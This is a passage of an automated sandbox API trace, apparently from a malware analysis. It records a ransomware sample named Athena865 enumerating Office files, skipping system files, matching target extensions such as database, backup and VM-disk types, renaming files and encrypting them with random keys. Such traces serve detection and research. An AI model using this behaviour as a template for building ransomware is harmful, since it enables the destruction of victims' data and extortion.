(lpString1="PPD", lpString2="nv2") returned 1 [0075.834] lstrlenW (lpString="nwdb") returned 4 [0075.834] lstrcmpiW (lpString1=".PPD", lpString2="nwdb") returned -1 [0075.834] lstrlenW (lpString="nyf") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="nyf") returned 1 [0075.834] lstrlenW (lpString="odb") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="odb") returned 1 [0075.834] lstrlenW (lpString="odb") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="odb") returned 1 [0075.834] lstrlenW (lpString="oqy") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="oqy") returned 1 [0075.834] lstrlenW (lpString="ora") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="ora") returned 1 [0075.834] lstrlenW (lpString="orx") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="orx") returned 1 [0075.834] lstrlenW (lpString="owc") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="owc") returned 1 [0075.834] lstrlenW (lpString="p96") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="p96") returned 1 [0075.834] lstrlenW (lpString="p97") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="p97") returned 1 [0075.834] lstrlenW (lpString="pan") returned 3 [0075.834] lstrcmpiW (lpString1="PPD", lpString2="pan") returned 1 [0075.835] lstrlenW (lpString="pdb") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="pdb") returned 1 [0075.835] lstrlenW (lpString="pdm") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="pdm") returned 1 [0075.835] lstrlenW (lpString="pnz") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="pnz") returned 1 [0075.835] lstrlenW (lpString="qry") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="qry") returned -1 [0075.835] lstrlenW (lpString="qvd") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="qvd") returned -1 [0075.835] lstrlenW (lpString="rbf") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="rbf") returned -1 [0075.835] lstrlenW (lpString="rctd") returned 4 [0075.835] lstrcmpiW (lpString1=".PPD", lpString2="rctd") returned -1 [0075.835] lstrlenW (lpString="rod") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="rod") returned -1 [0075.835] lstrlenW (lpString="rodx") returned 4 [0075.835] lstrcmpiW (lpString1=".PPD", lpString2="rodx") returned -1 [0075.835] lstrlenW (lpString="rpd") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="rpd") returned -1 [0075.835] lstrlenW (lpString="rsd") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="rsd") returned -1 [0075.835] lstrlenW (lpString="sas7bdat") returned 8 [0075.835] lstrcmpiW (lpString1="OL11.PPD", lpString2="sas7bdat") returned -1 [0075.835] lstrlenW (lpString="sbf") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="sbf") returned -1 [0075.835] lstrlenW (lpString="scx") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="scx") returned -1 [0075.835] lstrlenW (lpString="sdb") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="sdb") returned -1 [0075.835] lstrlenW (lpString="sdc") returned 3 [0075.835] lstrcmpiW (lpString1="PPD", lpString2="sdc") returned -1 [0075.836] lstrlenW (lpString="sdf") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="sdf") returned -1 [0075.836] lstrlenW (lpString="sis") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="sis") returned -1 [0075.836] lstrlenW (lpString="spq") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="spq") returned -1 [0075.836] lstrlenW (lpString="te") returned 2 [0075.836] lstrcmpiW (lpString1="PD", lpString2="te") returned -1 [0075.836] lstrlenW (lpString="teacher") returned 7 [0075.836] lstrcmpiW (lpString1="L11.PPD", lpString2="teacher") returned -1 [0075.836] lstrlenW (lpString="tmd") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="tmd") returned -1 [0075.836] lstrlenW (lpString="tps") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="tps") returned -1 [0075.836] lstrlenW (lpString="trc") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="trc") returned -1 [0075.836] lstrlenW (lpString="trc") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="trc") returned -1 [0075.836] lstrlenW (lpString="trm") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="trm") returned -1 [0075.836] lstrlenW (lpString="udb") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="udb") returned -1 [0075.836] lstrlenW (lpString="udl") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="udl") returned -1 [0075.836] lstrlenW (lpString="usr") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="usr") returned -1 [0075.836] lstrlenW (lpString="v12") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="v12") returned -1 [0075.836] lstrlenW (lpString="vis") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="vis") returned -1 [0075.836] lstrlenW (lpString="vpd") returned 3 [0075.836] lstrcmpiW (lpString1="PPD", lpString2="vpd") returned -1 [0075.837] lstrlenW (lpString="vvv") returned 3 [0075.837] lstrcmpiW (lpString1="PPD", lpString2="vvv") returned -1 [0075.837] lstrlenW (lpString="wdb") returned 3 [0075.837] lstrcmpiW (lpString1="PPD", lpString2="wdb") returned -1 [0075.837] lstrlenW (lpString="wmdb") returned 4 [0075.837] lstrcmpiW (lpString1=".PPD", lpString2="wmdb") returned -1 [0075.837] lstrlenW (lpString="wrk") returned 3 [0075.837] lstrcmpiW (lpString1="PPD", lpString2="wrk") returned -1 [0075.837] lstrlenW (lpString="xdb") returned 3 [0075.837] lstrcmpiW (lpString1="PPD", lpString2="xdb") returned -1 [0075.837] lstrlenW (lpString="xld") returned 3 [0075.837] lstrcmpiW (lpString1="PPD", lpString2="xld") returned -1 [0075.837] lstrlenW (lpString="xmlff") returned 5 [0075.837] lstrcmpiW (lpString1="1.PPD", lpString2="xmlff") returned -1 [0075.837] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD.Athena865") returned 64 [0075.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd.athena865"), dwFlags=0x1) returned 1 [0075.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.838] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6829) returned 1 [0075.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.839] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.839] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.840] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.840] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1db0, lpName=0x0) returned 0x17c [0075.841] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1db0) returned 0x100000 [0075.847] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.848] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.848] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.849] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.849] CloseHandle (hObject=0x17c) returned 1 [0075.849] CloseHandle (hObject=0x154) returned 1 [0075.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.849] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccb6a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa1ff9760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ccb6a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7cm_en.dub", cAlternateFileName="MSBB80~1.DUB")) returned 1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".") returned 1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="..") returned 1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="windows") returned -1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="bootmgr") returned 1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="temp") returned -1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="pagefile.sys") returned -1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="boot") returned 1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="ids.txt") returned 1 [0075.849] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="ntuser.dat") returned -1 [0075.850] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="perflogs") returned -1 [0075.850] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2="MSBuild") returned 1 [0075.850] lstrlenW (lpString="mscss7cm_en.dub") returned 15 [0075.850] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7cm_en.dub" | out: lpString1="mscss7cm_en.dub") returned="mscss7cm_en.dub" [0075.850] lstrlenW (lpString="mscss7cm_en.dub") returned 15 [0075.850] lstrlenW (lpString="Athena865") returned 9 [0075.850] lstrcmpiW (lpString1="cm_en.dub", lpString2="Athena865") returned 1 [0075.850] lstrlenW (lpString=".dll") returned 4 [0075.850] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".dll") returned 1 [0075.850] lstrlenW (lpString=".lnk") returned 4 [0075.850] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".lnk") returned 1 [0075.850] lstrlenW (lpString=".ini") returned 4 [0075.850] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".ini") returned 1 [0075.850] lstrlenW (lpString=".sys") returned 4 [0075.850] lstrcmpiW (lpString1="mscss7cm_en.dub", lpString2=".sys") returned 1 [0075.850] lstrlenW (lpString="mscss7cm_en.dub") returned 15 [0075.850] lstrlenW (lpString="bak") returned 3 [0075.850] lstrcmpiW (lpString1="dub", lpString2="bak") returned 1 [0075.850] lstrlenW (lpString="ba_") returned 3 [0075.850] lstrcmpiW (lpString1="dub", lpString2="ba_") returned 1 [0075.850] lstrlenW (lpString="dbb") returned 3 [0075.850] lstrcmpiW (lpString1="dub", lpString2="dbb") returned 1 [0075.850] lstrlenW (lpString="vmdk") returned 4 [0075.850] lstrcmpiW (lpString1=".dub", lpString2="vmdk") returned -1 [0075.850] lstrlenW (lpString="rar") returned 3 [0075.850] lstrcmpiW (lpString1="dub", lpString2="rar") returned -1 [0075.850] lstrlenW (lpString="zip") returned 3 [0075.850] lstrcmpiW (lpString1="dub", lpString2="zip") returned -1 [0075.850] lstrlenW (lpString="tgz") returned 3 [0075.850] lstrcmpiW (lpString1="dub", lpString2="tgz") returned -1 [0075.850] lstrlenW (lpString="vbox") returned 4 [0075.851] lstrcmpiW (lpString1=".dub", lpString2="vbox") returned -1 [0075.851] lstrlenW (lpString="vdi") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="vdi") returned -1 [0075.851] lstrlenW (lpString="vhd") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="vhd") returned -1 [0075.851] lstrlenW (lpString="vhdx") returned 4 [0075.851] lstrcmpiW (lpString1=".dub", lpString2="vhdx") returned -1 [0075.851] lstrlenW (lpString="avhd") returned 4 [0075.851] lstrcmpiW (lpString1=".dub", lpString2="avhd") returned -1 [0075.851] lstrlenW (lpString="db") returned 2 [0075.851] lstrcmpiW (lpString1="ub", lpString2="db") returned 1 [0075.851] lstrlenW (lpString="db2") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="db2") returned 1 [0075.851] lstrlenW (lpString="db3") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="db3") returned 1 [0075.851] lstrlenW (lpString="dbf") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="dbf") returned 1 [0075.851] lstrlenW (lpString="mdf") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="mdf") returned -1 [0075.851] lstrlenW (lpString="mdb") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="mdb") returned -1 [0075.851] lstrlenW (lpString="sql") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="sql") returned -1 [0075.851] lstrlenW (lpString="sqlite") returned 6 [0075.851] lstrcmpiW (lpString1="en.dub", lpString2="sqlite") returned -1 [0075.851] lstrlenW (lpString="sqlite3") returned 7 [0075.851] lstrcmpiW (lpString1="_en.dub", lpString2="sqlite3") returned -1 [0075.851] lstrlenW (lpString="sqlitedb") returned 8 [0075.851] lstrcmpiW (lpString1="m_en.dub", lpString2="sqlitedb") returned -1 [0075.851] lstrlenW (lpString="xml") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="xml") returned -1 [0075.851] lstrlenW (lpString="$er") returned 3 [0075.851] lstrcmpiW (lpString1="dub", lpString2="$er") returned 1 [0075.852] lstrlenW (lpString="4dd") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="4dd") returned 1 [0075.852] lstrlenW (lpString="4dl") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="4dl") returned 1 [0075.852] lstrlenW (lpString="^^^") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="^^^") returned 1 [0075.852] lstrlenW (lpString="abs") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="abs") returned 1 [0075.852] lstrlenW (lpString="abx") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="abx") returned 1 [0075.852] lstrlenW (lpString="accdb") returned 5 [0075.852] lstrcmpiW (lpString1="n.dub", lpString2="accdb") returned 1 [0075.852] lstrlenW (lpString="accdc") returned 5 [0075.852] lstrcmpiW (lpString1="n.dub", lpString2="accdc") returned 1 [0075.852] lstrlenW (lpString="accde") returned 5 [0075.852] lstrcmpiW (lpString1="n.dub", lpString2="accde") returned 1 [0075.852] lstrlenW (lpString="accdr") returned 5 [0075.852] lstrcmpiW (lpString1="n.dub", lpString2="accdr") returned 1 [0075.852] lstrlenW (lpString="accdt") returned 5 [0075.852] lstrcmpiW (lpString1="n.dub", lpString2="accdt") returned 1 [0075.852] lstrlenW (lpString="accdw") returned 5 [0075.852] lstrcmpiW (lpString1="n.dub", lpString2="accdw") returned 1 [0075.852] lstrlenW (lpString="accft") returned 5 [0075.852] lstrcmpiW (lpString1="n.dub", lpString2="accft") returned 1 [0075.852] lstrlenW (lpString="adb") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="adb") returned 1 [0075.852] lstrlenW (lpString="adb") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="adb") returned 1 [0075.852] lstrlenW (lpString="ade") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="ade") returned 1 [0075.852] lstrlenW (lpString="adf") returned 3 [0075.852] lstrcmpiW (lpString1="dub", lpString2="adf") returned 1 [0075.852] lstrlenW (lpString="adn") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="adn") returned 1 [0075.853] lstrlenW (lpString="adp") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="adp") returned 1 [0075.853] lstrlenW (lpString="alf") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="alf") returned 1 [0075.853] lstrlenW (lpString="ask") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="ask") returned 1 [0075.853] lstrlenW (lpString="btr") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="btr") returned 1 [0075.853] lstrlenW (lpString="cat") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="cat") returned 1 [0075.853] lstrlenW (lpString="cdb") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="cdb") returned 1 [0075.853] lstrlenW (lpString="ckp") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="ckp") returned 1 [0075.853] lstrlenW (lpString="cma") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="cma") returned 1 [0075.853] lstrlenW (lpString="cpd") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="cpd") returned 1 [0075.853] lstrlenW (lpString="dacpac") returned 6 [0075.853] lstrcmpiW (lpString1="en.dub", lpString2="dacpac") returned 1 [0075.853] lstrlenW (lpString="dad") returned 3 [0075.853] lstrcmpiW (lpString1="dub", lpString2="dad") returned 1 [0075.853] lstrlenW (lpString="dadiagrams") returned 10 [0075.853] lstrcmpiW (lpString1="7cm_en.dub", lpString2="dadiagrams") returned -1 [0075.853] lstrlenW (lpString="daschema") returned 8 [0075.853] lstrcmpiW (lpString1="m_en.dub", lpString2="daschema") returned 1 [0075.853] lstrlenW (lpString="db-journal") returned 10 [0075.853] lstrcmpiW (lpString1="7cm_en.dub", lpString2="db-journal") returned -1 [0075.853] lstrlenW (lpString="db-shm") returned 6 [0075.853] lstrcmpiW (lpString1="en.dub", lpString2="db-shm") returned 1 [0075.853] lstrlenW (lpString="db-wal") returned 6 [0075.854] lstrcmpiW (lpString1="en.dub", lpString2="db-wal") returned 1 [0075.854] lstrlenW (lpString="dbc") returned 3 [0075.854] lstrcmpiW (lpString1="dub", lpString2="dbc") returned 1 [0075.854] lstrlenW (lpString="dbs") returned 3 [0075.854] lstrcmpiW (lpString1="dub", lpString2="dbs") returned 1 [0075.854] lstrlenW (lpString="dbt") returned 3 [0075.854] lstrcmpiW (lpString1="dub", lpString2="dbt") returned 1 [0075.854] lstrlenW (lpString="dbv") returned 3 [0075.854] lstrcmpiW (lpString1="dub", lpString2="dbv") returned 1 [0075.854] lstrlenW (lpString="dbx") returned 3 [0075.854] lstrcmpiW (lpString1="dub", lpString2="dbx") returned 1 [0075.854] lstrlenW (lpString="dcb") returned 3 [0075.854] lstrcmpiW (lpString1="dub", lpString2="dcb") returned 1 [0075.854] lstrcmpiW (lpString1="dub", lpString2="dct") returned 1 [0075.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub.Athena865") returned 68 [0075.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub.athena865"), dwFlags=0x1) returned 1 [0075.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.860] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3584) returned 1 [0075.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.860] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.861] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.861] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.861] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100, lpName=0x0) returned 0x17c [0075.862] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100) returned 0x100000 [0075.864] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.865] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.865] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.866] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.866] CloseHandle (hObject=0x17c) returned 1 [0075.866] CloseHandle (hObject=0x154) returned 1 [0075.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.866] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21901e00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dc8680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21901e00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7cm_es.dub", cAlternateFileName="MSCSS7~1.DUB")) returned 1 [0075.866] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.866] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.866] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".") returned 1 [0075.866] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="..") returned 1 [0075.866] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="windows") returned -1 [0075.866] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="bootmgr") returned 1 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="temp") returned -1 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="pagefile.sys") returned -1 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="boot") returned 1 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="ids.txt") returned 1 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="ntuser.dat") returned -1 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="perflogs") returned -1 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2="MSBuild") returned 1 [0075.867] lstrlenW (lpString="mscss7cm_es.dub") returned 15 [0075.867] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7cm_es.dub" | out: lpString1="mscss7cm_es.dub") returned="mscss7cm_es.dub" [0075.867] lstrlenW (lpString="mscss7cm_es.dub") returned 15 [0075.867] lstrlenW (lpString="Athena865") returned 9 [0075.867] lstrcmpiW (lpString1="cm_es.dub", lpString2="Athena865") returned 1 [0075.867] lstrlenW (lpString=".dll") returned 4 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".dll") returned 1 [0075.867] lstrlenW (lpString=".lnk") returned 4 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".lnk") returned 1 [0075.867] lstrlenW (lpString=".ini") returned 4 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".ini") returned 1 [0075.867] lstrlenW (lpString=".sys") returned 4 [0075.867] lstrcmpiW (lpString1="mscss7cm_es.dub", lpString2=".sys") returned 1 [0075.867] lstrlenW (lpString="mscss7cm_es.dub") returned 15 [0075.867] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub.Athena865") returned 68 [0075.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub.athena865"), 